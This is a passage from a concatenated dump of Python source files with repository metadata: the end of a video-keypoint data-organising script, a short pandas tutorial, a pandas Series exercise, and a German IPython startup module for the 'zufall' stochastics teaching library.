pd.MultiIndex.from_product([toplevel,participants,coords], names=col_names)\n\ncleandf = pd.DataFrame(columns=col_index, index = timeseries)\n#cleandf.head()\n# -\n\n# Then populate the dataframe row by row.\n#\n# *This step is particularly SLOW*\n\nfor vid in videos:\n    for p in range(2) :\n        v = videos[vid][\"camera1\"][\"v\"]\n        part = participants[p]\n        for r in range(3*vasc.nPoints):\n            cleandf[(vid, part, r)] = keypoints_array[v,0,:,p,r]\n\n#Sort the columns into alphabetical order (helps with step 3 calculations.)\ncleandf = cleandf.sort_index(axis = 1)\n\n# ### Finally save this to a compressed file.\n#\n# We use the fast `parquet` format with library `pyarrow` in order to preserve our hierarchical index in a compressed format. We save into the timeseries sub-folder. \n#\n\nimport pyarrow.parquet as pq\nimport pyarrow as pa\n\npq.write_table(pa.Table.from_pandas(cleandf), videos_out_timeseries + '\\\\cleandata.parquet')\n\nprint('reading parquet file:')\npqdf = pq.read_table(videos_out_timeseries + '\\\\cleandata.parquet').to_pandas()\nprint(pqdf.head())\n\n\n# #### That's it. \n#\n# Now go onto [Step 3 - Analyse the data](Step3.AnalyseData.scipy)\n", "meta": {"hexsha": "9bf16391a381e2a0154400c1aa66cfa4a05d4e59", "size": 24744, "ext": "py", "lang": "Python", "max_stars_repo_path": "Step2.OrganiseData.py", "max_stars_repo_name": "InfantLab/VASC", "max_stars_repo_head_hexsha": "0d8ea0f49f660ef451aaeacdd81ed4fe14b076d7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-07-07T21:52:11.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T16:00:56.000Z", "max_issues_repo_path": "Step2.OrganiseData.py", "max_issues_repo_name": "InfantLab/VASC", "max_issues_repo_head_hexsha": "0d8ea0f49f660ef451aaeacdd81ed4fe14b076d7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-02-15T11:11:20.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-17T11:05:05.000Z", "max_forks_repo_path": "Step2.OrganiseData.py", "max_forks_repo_name": "InfantLab/VASC", "max_forks_repo_head_hexsha": "0d8ea0f49f660ef451aaeacdd81ed4fe14b076d7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-02-27T15:45:16.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-21T10:16:34.000Z", "avg_line_length": 38.9056603774, "max_line_length": 360, "alphanum_fraction": 0.7032411898, "include": true, "reason": "import numpy", "num_tokens": 6162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11757214127540647, "lm_q1q2_score": 0.056490907015269064}}
{"text": "import pandas as pd\nimport numpy as np\nimport io\nimport pandas_profiling\nretail_raw = pd.read_csv('https://storage.googleapis.com/dqlab-dataset/retail_raw_reduced_data_quality.csv')\n\n# Cetak tipe data di setiap kolom retail_raw\nprint(retail_raw.dtypes)", "meta": {"hexsha": "44fe5fe1d8b2deaee3ea5d4a1f1bc478e92c53fe", "size": 252, "ext": "py", "lang": "Python", "max_stars_repo_path": "1_PythonDataProcessing/2_01_datatypes.py", "max_stars_repo_name": "hnwarid/DQLabAcademy", "max_stars_repo_head_hexsha": "e03d82f97536ae103b6abc65db0ae16520fb68c7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "1_PythonDataProcessing/2_01_datatypes.py", "max_issues_repo_name": "hnwarid/DQLabAcademy", "max_issues_repo_head_hexsha": "e03d82f97536ae103b6abc65db0ae16520fb68c7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "1_PythonDataProcessing/2_01_datatypes.py", "max_forks_repo_name": "hnwarid/DQLabAcademy", "max_forks_repo_head_hexsha": "e03d82f97536ae103b6abc65db0ae16520fb68c7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5, "max_line_length": 108, "alphanum_fraction": 0.8293650794, "include": true, "reason": "import numpy", "num_tokens": 67, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.05648525387184573}}
{"text": "# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\ndata = np.array([\"Engin\",\"Derin\",\"Salih\"])\r\ns = pd.Series(data, index=[1,2,3])\r\nprint(s)\r\nprint(s[1])\r\n\r\ndata2 = {\"matematik\":10, \"fizik\":20, \"beden e\u011fitimi\":100}\r\ns2 = pd.Series(data2, index = [\"fizik\",\"matematik\",\"beden e\u011fitimi\"])\r\nprint(s2)\r\n\r\nprint(s2[0])\r\nprint(s2[\"matematik\"])\r\n\r\ns3 = pd.Series(5,index=[1,2,3,4,5])\r\nprint(s3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "35aeec5666075b2ca289ff1ab5340823903a9d9a", "size": 425, "ext": "py", "lang": "Python", "max_stars_repo_path": "series.py", "max_stars_repo_name": "tugrabatin/Pandas", "max_stars_repo_head_hexsha": "d6330ae97aa9f1755cdcbcd7f8e33a7dc59118df", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "series.py", "max_issues_repo_name": "tugrabatin/Pandas", "max_issues_repo_head_hexsha": "d6330ae97aa9f1755cdcbcd7f8e33a7dc59118df", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "series.py", "max_forks_repo_name": "tugrabatin/Pandas", "max_forks_repo_head_hexsha": "d6330ae97aa9f1755cdcbcd7f8e33a7dc59118df", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 14.1666666667, "max_line_length": 69, "alphanum_fraction": 0.5741176471, "include": true, "reason": "import numpy", "num_tokens": 152, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4186969093556867, "lm_q2_score": 0.1347759243735362, "lm_q1q2_score": 0.05643026299075537}}
{"text": "\ufeff#!/usr/bin/python\n# -*- coding utf-8 -*-\n\n\n\n#                                                 \n#  Start-Programm von zufall           \n#                                                 \n#  Copyright (C) 2019 Holger B\u00f6ttcher <hbomat@posteo.de>\n#                    \n\n\n_version_ = '0.1.0'\n\n\n# -----------------------------------------------------------------------------\n# Variable zur Steuerung des Testbetriebes\n# -----------------------------------------------------------------------------\n#\n# f\u00fcr den Programmierer; hier im Quelltext ein-/ausschalten\n# _TEST = True:  es werden die vollst\u00e4ndigen Python-Fehlermitteilungen angezeigt \n# _TEST = False: es werden (teilweise) zufall-eigene Fehlermitteilungen angezeigt\n\n_TEST = True\n\n\n# -----------------------------------------------------------------------------\n# Zur\u00fccksetzen\n# -----------------------------------------------------------------------------\n\n_ip = get_ipython()\n_ip.magic('reset -sf')\n\n\n# -----------------------------------------------------------------------------\n# Importe\n# -----------------------------------------------------------------------------\n\nimport copy\nimport importlib\n\nfrom IPython.core.inputtransformer import InputTransformer\n\nfrom sympy.core.expr import Expr\nfrom sympy.matrices import Matrix as SympyMatrix\n\n# ausgew\u00e4hlte SymPy-Objekte und -funktionen zur unmittelbaren Verf\u00fcgung des Nutzers\nfrom sympy.abc import *    \nfrom sympy.core.numbers import Integer, Rational, Float, pi, E, I   \nfrom sympy.core.symbol import Symbol, symbols\nfrom sympy.core.function import Lambda\nfrom sympy import (solve, solveset, S, expand, collect, factor, simplify, \n    nsimplify, N, Not, And, Or, factorial, binomial)\n\t\n# Initialisierung der Latex-Ausgabe\t\nfrom sympy.interactive.printing import init_printing\nfrom sympy.printing.latex import LatexPrinter\nLatexPrinter._default_settings[\"mat_delim\"] = \"(\"\ninit_printing(use_latex='mathjax')\t\n\t \n# Import ausgew\u00e4hlter zufall-Elemente\t\nfrom zufall.lib.objekte.umgebung import UMG \nfrom zufall.lib.objekte.ausnahmen import ZufallError\nimport zufall\n\t\t\nfrom agla.lib.objekte.ausnahmen import AglaError\nimport agla\n\n# Alle anderen Objekte und Funktionen werden dynamisch nachgeladen (s.u.)\n\n\n# -----------------------------------------------------------------------------\n# Variable zur Steuerung von internen Vereinfachungen\n# -----------------------------------------------------------------------------\n#\n# Systemvariable, zur interaktiven Benutzung durch den Anwender\n# UMG.SIMPL = True:  in den Programmen vorgesehene Vereinfachungen werden  \n#                    automatisch durchgef\u00fchrt\n# UMG.SIMPL = False: es werden keine automatischen Vereinfachungen durch-\n#                    gef\u00fchrt \n\nUMG.SIMPL = True\n\n# -----------------------------------------------------------------------------\n# Variable zur Steuerung der Berechnung von hyperbolischen Objekten\n# -----------------------------------------------------------------------------\n#\n# Systemvariable, zur interaktiven Benutzung durch den Anwender\n# UMG.EXAKT = True:  die Berechnungen werden exakt (mit SymPY / SympyEngine) \n#                    durchgef\u00fchrt\n# UMG.EXAKT = False: die Berechnungen werden mit float-Werten durchgef\u00fchrt \n\nUMG.EXAKT = False\n\n\t\t\n# -----------------------------------------------------------------------------\n# Dynamisches Importieren\t\n# -----------------------------------------------------------------------------\n\n_attr = 'zufall.lib.objekte.'\n_fkt = 'zufall.lib.funktionen.funktionen'\n_agla = 'agla.lib.objekte.'\n\n\n_to_load = {           \n\n    'v'             : _agla + 'vektor', \n    'Vektor'        : _agla + 'vektor', \n\t'Punkt'         : _agla + 'vektor', \n\t'O'             : _agla + 'vektor', \n    'O2'            : _agla + 'vektor', \n\t'X2'            : _agla + 'vektor',\n    '_ZeilenVektor' : _agla + 'vektor',\t\n\n\t'SympyMatrix'   : _attr + 'markoff_kette',\n\t'Matrix'        : _attr + 'markoff_kette',\n    'NullMat'       : _attr + 'markoff_kette',\n    'NullMat2'      : _attr + 'markoff_kette', \n    'EinhMat'       : _attr + 'markoff_kette',\n    'EinhMat2'      : _attr + 'markoff_kette',\n\t\t \t\t \n    'DatenReihe'                  : _attr + 'datenreihe', \n    'DR'                          : _attr + 'datenreihe', \n    'ZufallsGroesse'              : _attr + 'zufalls_groesse', \n\t'ZG'                          : _attr + 'zufalls_groesse', \n\t'BinomialVerteilung'          : _attr + 'binomial_verteilung', \n\t'BV'                          : _attr + 'binomial_verteilung', \n\t'HyperGeometrischeVerteilung' : _attr + 'hyper_geometrische_verteilung', \n\t'HGV'                         : _attr + 'hyper_geometrische_verteilung',\n\t'GeometrischeVerteilung'      : _attr + 'geometrische_verteilung', \n\t'GV'                          : _attr + 'geometrische_verteilung', \n\t'PoissonVerteilung'           : _attr + 'poisson_verteilung', \n\t'PV'                          : _attr + 'poisson_verteilung',\n\t'GleichVerteilung'            : _attr + 'gleich_verteilung', \n\t'GLV'                         : _attr + 'gleich_verteilung', \n\t'NormalVerteilung'            : _attr + 'normal_verteilung', \n\t'NV'                          : _attr + 'normal_verteilung',\n\t'ExponentialVerteilung'       : _attr + 'exponential_verteilung', \n\t'EV'                          : _attr + 'exponential_verteilung', \n\t'BernoulliKette'              : _attr + 'bernoulli_kette', \n\t'BK'                          : _attr + 'bernoulli_kette',\n\t'ZufallsExperiment'           : _attr + 'zufalls_experiment', \n\t'ZE'                          : _attr + 'zufalls_experiment', \n\t'ZufallsVersuch'              : _attr + 'zufalls_experiment', \n\t'ZV'                          : _attr + 'zufalls_experiment',\n\t'Urne'                        : _attr + 'urne', \n\t'GluecksRad'                  : _attr + 'gluecks_rad', \n\t'Rad'                         : _attr + 'gluecks_rad', \n\t'GR'                          : _attr + 'gluecks_rad', \n\t'Muenze'                      : _attr + 'muenze', \n\t'Wuerfel'                     : _attr + 'wuerfel',\n\t'HaeufigkeitsBaum'            : _attr + 'haeufigkeits_baum', \n\t'HB'                          : _attr + 'haeufigkeits_baum', \n\t'VierFelderTafel'             : _attr + 'vier_felder_tafel', \n\t'VT'                          : _attr + 'vier_felder_tafel',\n    'KonfidenzIntervall'          : _attr + 'konfidenz_intervall', \n\t'KI'                          : _attr + 'konfidenz_intervall', \n\t'EreignisAlgebra'             : _attr + 'ereignis_algebra', \n\t'EA'                          : _attr + 'ereignis_algebra',\n    'AlternativTest'              : _attr + 'alternativ_test', \n\t'AT'                          : _attr + 'alternativ_test', \n\t'SignifikanzTestP'            : _attr + 'signifikanz_test_p', \n\t'STP'                         : _attr + 'signifikanz_test_p',\n\t'SkatBlatt'                   : _attr + 'skat_blatt', \n\t'Skat'                        : _attr + 'skat_blatt', \n\t'Roulette'                    : _attr + 'roulette', \n\t'Craps'                       : _attr + 'craps', \n\t'Toto'                        : _attr + 'toto', \n\t'Lotto'                       : _attr + 'lotto',\n\t'Chuck'                       : _attr + 'chuck',\n\t'ChuckALuck'                  : _attr + 'chuck', \n\t'MarkoffKette'                : _attr + 'markoff_kette', \n\t'MK'                          : _attr + 'markoff_kette',\n        \n    'permutationen'  : _fkt, \n    'perm'           : _fkt, \n\t'kombinationen'  : _fkt, \n    'komb'           : _fkt, \n    'variationen'    : _fkt, \n\t'anzahl'         : _fkt, \n    'anzahl_treffer' : _fkt, \n\t'anzahlTreffer'  : _fkt, \n\t'summe'          : _fkt, \n\t'zuf_zahl'       : _fkt, \n\t'zufZahl'        : _fkt, \n\t'fakultaet'      : _fkt, \n\t'fak'            : _fkt, \n\t'binomial'       : _fkt, \n\t'B'              : _fkt, \n\t'loese'          : _fkt, \n\t'Hilfe'          : _fkt, \n\t'auswahlen'      : _fkt, \n\t'gesetze'        : _fkt, \n\t'stochastisch'   : _fkt, \n\t'einfach'        : _fkt,\t\n\t'is_zahl'        : _fkt, \n\t'isZahl'         : _fkt, \n\t'mit_param'   \t : _fkt,\n\t'mitParam'       : _fkt,\n    'jaNein'         : _fkt, \n    'kurz_form'      : _fkt, \n    'kurzForm'       : _fkt, \n\t'ja_nein'        : _fkt, \n\t'ja'             : _fkt, \n\t'Ja'             : _fkt, \n\t'nein'           : _fkt, \n\t'Nein'           : _fkt, \n\t'mit'            : _fkt, \n\t'Mit'            : _fkt, \n\t'ohne'           : _fkt, \n\t'Ohne'           : _fkt,\n\t\n    'abs'            : _fkt, \n\t'sqrt'           : _fkt, \n\t'exp'            : _fkt, \n\t'ln'             : _fkt, \n\t'lg'             : _fkt, \n\t'log'            : _fkt, \n    'sin'            : _fkt, \n\t'cos'            : _fkt, \n\t'tan'            : _fkt, \n\t'cot'            : _fkt, \n\t'sing'           : _fkt, \n\t'cosg'           : _fkt, \n\t'tang'           : _fkt, \n\t'cotg'           : _fkt, \n    'arcsin'         : _fkt, \n\t'arccos'         : _fkt, \n\t'arctan'         : _fkt, \n\t'arccot'         : _fkt, \n\t'asin'           : _fkt, \n\t'acos'           : _fkt, \n\t'atan'           : _fkt, \n\t'acot'           : _fkt,\n    'arcsing'        : _fkt, \n\t'arccosg'        : _fkt, \n\t'arctang'        : _fkt, \n\t'arccotg'        : _fkt, \n\t'asing'          : _fkt, \n\t'acosg'          : _fkt, \n\t'atang'          : _fkt, \n\t'acotg'          : _fkt, \t\n    'sinh'           : _fkt, \n\t'cosh'           : _fkt, \n\t'tanh'           : _fkt, \n\t'arsinh'         : _fkt, \n\t'arcosh'         : _fkt, \n\t'artanh'         : _fkt, \n\t'asinh'          : _fkt, \n\t'acosh'          : _fkt, \n\t'atanh'          : _fkt,\n    're'             : _fkt, \n\t'im'             : _fkt, \n\t'conjugate'      : _fkt, \n\t'konjugiert'     : _fkt, \n\t'max'            : _fkt, \n\t'min'            : _fkt, \n\t'deg'            : _fkt, \n\t'grad'           : _fkt, \n\t'rad'            : _fkt, \n\t'bog'            : _fkt\t\n\t\t\n\t}\t\t\n\n# -----------------------------------------------------------------------------\n# Gesch\u00fctzte Namen\n# -----------------------------------------------------------------------------\n\nzufall_namen = list(_to_load.keys())\ndel zufall_namen[zufall_namen.index('B')]\n\n_protected_names = zufall_namen + [\n\n        # Python-Namen\n        'and', 'as', 'assert', 'break', 'class', 'continue', \n        'def', 'del', 'elif', 'else', 'except', 'exec', \n        'finally', 'float', 'for', 'from', 'global', 'if', 'import', \n        'in', 'int', 'is', 'lambda', 'not', 'or', 'pass', 'print', \t\t\n\t\t'raise', 'return', 'try', 'while', 'with', 'yield',\t\t\n\n        # SymPy-Namen\t\t  \n        'Rational', 'pi', 'Symbol', 'symbols', 'solve', 'solveset', \n        'nsolve', 'expand', 'simplify', 'nsimplify', 'collect', 'diff',\n        'factor', 're', 'im', 'min', 'max', 'conjugate', 'sympify',\t\n\t\t\n        # griechische Buchstaben\t\n        'alpha', 'beta', 'gamma', 'delta', 'epsilon', 'zeta', 'eta', \n\t\t 'theta', 'iota', 'kappa', 'lamda', 'mu', 'nu', 'xi', 'omicron', \n\t\t 'pi', 'rho', 'sigma', 'tau', 'upsilon', 'phi', 'chi', 'psi', \n\t\t 'omega'  \n      ]\n\n# -----------------------------------------------------------------------------\n# Funktion zum Laden der Moduln\t\n# -----------------------------------------------------------------------------\n\ndef _load_modules(line):\n\n    for obj in _to_load:\n        if obj in line and _to_load[obj] != False:\n            name = _to_load[obj]\n            modul = importlib.import_module(name)\n            attribut = getattr(modul, obj)\n            _ip.push({obj : attribut})\t\t\n            _to_load[obj] = False\t\n\t\n# -----------------------------------------------------------------------------\n# Custom InputTransformer\n# -----------------------------------------------------------------------------\n#\n#   F\u00fcr\n#\n# - Dynamisches Laden der Moduln\n#\n# - Ersetzen der deutschen Umlaute und \u00df\n#\n#  - Operator '^'   f\u00fcr das Potenzieren (zus\u00e4tzlich zu '**')\n#    Operator '\u00b0'   f\u00fcr das Skalarprodukt und die Verkn\u00fcpfung \n#                   von Abbildungen (zus\u00e4tzlich zu '*')\n#    Operator '><'  f\u00fcr das Kreuzprodukt (Vektorprodukt)\n#\n# - Schreibwarnung f\u00fcr die zufall-, Python- und SymPy-Namen\n#\n#  (s.a. 'ipython/core/test/test_interactiveshell.py')\n\t\t\nclass ZufallInputTransformer(InputTransformer):\n\t\n    def push(self, line):\n        \"\"\"f\u00fcr InputTransformer erforderlich\"\"\"\n\t\t\n\t\t# Operatoren, Umlaute\n        #\t\t \n        if line.find('^') >= 0:\n            line = line.replace('^', '**')\t\t\t\n        if line.find('\u00b0') >= 0:\n            line = line.replace('\u00b0', '*')\n        if line.find('><') >= 0:\n            line = line.replace('><', '&')\n\t\t\t\n        if line.find('\u00e4') >= 0:\n            line = line.replace('\u00e4', 'ae')\t\t\t\n        if line.find('\u00f6') >= 0:\n            line = line.replace('\u00f6', 'oe')\t\t\t\n        if line.find('\u00fc') >= 0:\n            line = line.replace('\u00fc', 'ue')\t\t\t\n        if line.find('\u00df') >= 0:\n            line = line.replace('\u00df', 'ss')\t\t\t\n\t\t\n        # Dynamisches Laden der Moduln\n        #   \n        _load_modules(line)\n\t\t\n        # Schreibblockade\t\n        #\n\t\t\n        def klammer(line):    # Index der 1. Klammer oder None\n            for i, z in enumerate(line):\n                if z in '([{':\n                    return i\n        def gleich(line):   # Indices aller '='-Zeichen vor der 1. Klammer \n            line1 = line.replace('==', 'xx')\t # '==' ausschlie\u00dfen\t\n            k = klammer(line1)\n            g = []\n            for i, z in enumerate(line1):\n                if i == k:\n                    break\n                if z == '=':\n                    g.append(i)\n            return g \n\t\t\t\n        if '#' in line:\n            k = line.find('#')\n            kl = False\t\t\t   \t\n            for i in range(k): \n                if line[i] in '([{)]}':\n                    kl = not kl\n            if not kl:\t\t# innere Kommentare bleiben erhalten\n               line = line[:k]\t\n        anw_liste = line.split(';')  # Behandlung von Mehrfachzuweisungen\n\t\n        anw_liste_neu = []\t\t\n        for i, anw in enumerate(anw_liste):\n            gl = gleich(anw)\n            no1 = anw.find(\"'\")\t\t\n            no2 = anw.find('\"')   \t\t\n            for i, g in enumerate(gl):\n                if abs(no1) < gl[i] or abs(no2) < gl[i]:\n                    gl = gl[:i]  \n                    break\t\t\t\t\t\t\t\t\n            if len(gl) <= 1:\n                anw_liste_neu.append(anw)\n                continue \n            lhs, rhs = anw[:gl[-1]], anw[gl[-1]:]\n            ind = ''\n            for i in lhs:\n                if i == ' ':\n                    ind += ' '\n                else:\n                    break\t\t\t\t\n            lhs = lhs.split('=') \n            anw_neu = []\n            for i, name in enumerate(lhs):\n                if i == 0:\t\t\t\n                    anw_liste_neu.append(name + rhs)\t\n                else:\t\t\t\t\t\n                    anw_liste_neu.append(ind + name[1:] + rhs)\t\n        anw_liste = anw_liste_neu \t\n        \n        aus_liste = []  \n        for anw in anw_liste:\n            anw = anw.rstrip()\n            g = anw.find('=')\n            if g <= 0:\n                aus_liste += [anw] \n                continue \n            try:\n                if anw[g+1] == '=':\n                    aus_liste += [anw] \n                    continue \t\t\t\t\n            except IndexError:\n                pass\t\t\t\n            klammer = False\t\t\t   \t\n            for i in range(len(anw)):   \n                if i == g:\n                    break\n                if anw[i] in '([{)]}':\n                    klammer = not klammer\n            if klammer:\n                aus_liste += [anw]\n                continue \n            if anw[g-1] in ('<', '>', '!'):    \n                aus_liste += [anw] \n                continue\n            bezeichner = anw[:g].strip() \n            fehler = False   \n            if bezeichner in _protected_names:\n                print(\"zufall: der Wert von \" + bezeichner + \" kann nicht \u00fcberschrieben werden\")\n                fehler = True\n            if anw[0] == '_':\n                print(\"zufall: ein Bezeichner darf nicht mit einem Unterstrich beginnen\")\n                fehler = True\n            p = anw.find('.')\n            if 0 <= p < g and klammer and not 'UMG.' in anw:\n                print(\"zufall: auf der linken Seite einer Zuweisung darf kein '.' auftreten\")\n                fehler = True\n            if not fehler:        \n                aus_liste += [anw]\n                continue\n            else:\n                return\n        \n        return ';'.join(aus_liste)\n\t\t\t\t\t  \n    def reset(self):\n        \"\"\"f\u00fcr InputTransformer erforderlich\"\"\"\t\n        pass\n\ntransformer = ZufallInputTransformer()\n_ip.input_splitter.python_line_transforms.append(transformer)\n_ip.input_transformer_manager.python_line_transforms.append(transformer)\n\t \n\t\t\n# -----------------------------------------------------------------------------\n# Eigene Fehlermeldungen\n# -----------------------------------------------------------------------------\n\t\n# Extra-Behandlung von SyntaxError (hat kein traceback)\t \n#\n\nimport linecache \nfrom IPython.core.ultratb import SyntaxTB\nfrom IPython.utils import py3compat\nfrom IPython.utils import ulinecache\ndef new_structured_traceback(self, etype, value, elist, tb_offset=None,\n                             context=5):\n    if isinstance(value, SyntaxError) \\\n            and isinstance(value.filename, py3compat.string_types) \\\n            and isinstance(value.lineno, int):\n        linecache.checkcache(value.filename)\n        newtext = ulinecache.getline(value.filename, value.lineno)\n        if newtext:\n            value.text = newtext\n    nr = value.lineno\t\t\n    print('SyntaxError:  ' + value.text[:-1] + (('  /Zeile ' + str(nr) + '/') \\\n\t      if nr > 1 else ''))\n    return\t\t\n\nif not _TEST:\t\n    SyntaxTB.structured_traceback = new_structured_traceback\n\t\n\n# Custom exc_handler (f\u00fcr ausgew\u00e4hlte Ausnahmen)\n#\ndef exc_handler(shell, etype, value, tb, tb_offset=None):\n    stype, sval = str(etype), str(value)\n    if 'ZufallError' in stype or 'AglaError' in stype:\n        print(sval)\n    elif 'NameError' in stype:\n        txt = sval[sval.find(\"'\")+1 : sval.rfind(\"'\")]\t\t\n        print('NameError: ' + txt + ' ist nicht definiert')\t\t\n    elif 'KeyError' in stype:\n        print('KeyError: ' + sval)\n    elif 'IndexError' in stype:\n        print('IndexError: ' + 'der Index ist au\u00dferhalb des Bereiches')\n    elif 'AttributeError' in stype:\n        no = []\n        for i, z in enumerate(sval):\n            if z == \"'\":\n                no += [i]\n        if len(no) != 4:\t\t\n            print('AttributeError')\n        else:\n            obj, eig = sval[no[0]+1:no[1]], sval[no[2]+1:no[3]]\t\t\n            print('AttributeError:  ' + 'ein ' + obj + '-Objekt ' + \\\n                 'hat keine Eigenschaft/Methode \\nmit dem Namen ' + eig)\n    elif 'TypeError' in stype:\n        print('TypeError: ' + 'Funktionsaufruf nicht m\u00f6glich oder anderer Fehler')\n    elif 'MemoryError' in stype:\n        print('MemoryError: ' + 'die Zahlen sind zu gro\u00df')\n    elif 'ImportError' in stype:\n        i = sval.find(\"'\")\n        j = sval[i+1:].find(\"'\")\n        txt = sval[i+1:i+j+1]\t\n        print('ImportError: ' + txt +  ' kann nicht importiert werden')\n    elif 'ZeroDivisionError' in stype:\n        print('ZeroDivisionError: ' +\t 'Division durch Null ist nicht erlaubt')\n    elif 'IndentationError' in stype:\n        print('IndentationError: ' +\t 'Syntaxfehler - falsche Einr\u00fcckung')\n    elif 'RuntimeError' in stype:\n        print('RuntimeError: ' +\t    'Ein Laufzeitfehler ist aufgetreten')\n    elif 'ValueError' in stype:\n        print('ValueError: ' +\t    'Ein ValueError ist aufgetreten')\n    return\t\n\t\nif not _TEST:\t\n    _ip.set_custom_exc((ZufallError, AglaError, NameError, KeyError, IndexError, \\\n      AttributeError, TypeError, MemoryError, ImportError, ZeroDivisionError, \\\n      IndentationError, RuntimeError), exc_handler) \n\t\n\t\n# -----------------------------------------------------------------------------\n# Ausf\u00fchrung der (linksseitigen) Multiplikation  Zahl * Vektor\n# -----------------------------------------------------------------------------\n\n\"\"\"\nDie rechtsseitige Multiplikation eines Vektors mit einer Zahl \n(Vektor * Zahl) funktioniert f\u00fcr alle infrage kommenden SymPy-Klassen,\ndas Ergebnis ist ein Vektor-Objekt\nHinsichtlich der linksseitigen Multiplikation (Zahl * Vektor) verhalten\nsich die Klassen unterschiedlich. Bei einigen gibt die __mul__-Methode\nNotImplemented zur\u00fcck, sodass automatisch die __rmul__-Methode von Vektor\naufgerufen wird. F\u00fcr die anderen wird dieses Verhalten mittels \u00dcberladen\nder __mul__-Methode des Expr-Objektes bzw. ihrer eigenen __mul__-Methode\n(Symbol) erreicht\n\"\"\"\n\n# -----------------------------------------------------------------------------\n# \u00dcberladen der Expr.__mul__- Methode\n# -----------------------------------------------------------------------------\n\n_expr_mul = copy.deepcopy(Expr.__mul__)\ndef _expr_mul_anpassung(self, other):\n    Vektor = importlib.import_module('agla.lib.objekte.vektor').Vektor\n    if isinstance(other, (Vektor, SympyMatrix)):\n        return NotImplemented\n    return _expr_mul(self, other)\nExpr.__mul__ = _expr_mul_anpassung\t\n   \n   \n# -----------------------------------------------------------------------------\n# \u00dcberladen der Symbol.__mul__- Methode\t\n# -----------------------------------------------------------------------------\n\n_symbol_mul = copy.deepcopy(Symbol.__mul__)\ndef _symbol_mul_anpassung(self, other):\n    Vektor = importlib.import_module('agla.lib.objekte.vektor').Vektor\n    if isinstance(other, (Vektor, SympyMatrix)):\n        return NotImplemented\n    return _symbol_mul(self, other)\nSymbol.__mul__ = _symbol_mul_anpassung\t   \n\t\n# -----------------------------------------------------------------------------\n# Float.__mul__ - \u00dcberladung\n# -----------------------------------------------------------------------------\n\n_Float_mul = copy.deepcopy(Float.__mul__)\n\ndef _Float_mul_anpassung(self, other):\n    if isinstance(other, SympyMatrix):\n        ve = [self*v for v in other.vekt]\n        return Matrix(*ve)\n    return _Float_mul(self, other) \n\t\nFloat.__mul__ = _Float_mul_anpassung\t\n\t\n\n\t\n\t \n\n\n", "meta": {"hexsha": "676f2fcdf6d66986e3effa21e7f8761ab53cd1e3", "size": 21855, "ext": "py", "lang": "Python", "max_stars_repo_path": "zufall/lib/start.py", "max_stars_repo_name": "HBOMAT/AglaUndZufall", "max_stars_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "zufall/lib/start.py", "max_issues_repo_name": "HBOMAT/AglaUndZufall", "max_issues_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "zufall/lib/start.py", "max_forks_repo_name": "HBOMAT/AglaUndZufall", "max_forks_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.3643926789, "max_line_length": 96, "alphanum_fraction": 0.4722946694, "include": true, "reason": "from sympy", "num_tokens": 5957, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473631961697, "lm_q2_score": 0.13117322885652913, "lm_q1q2_score": 0.056423818514563726}}
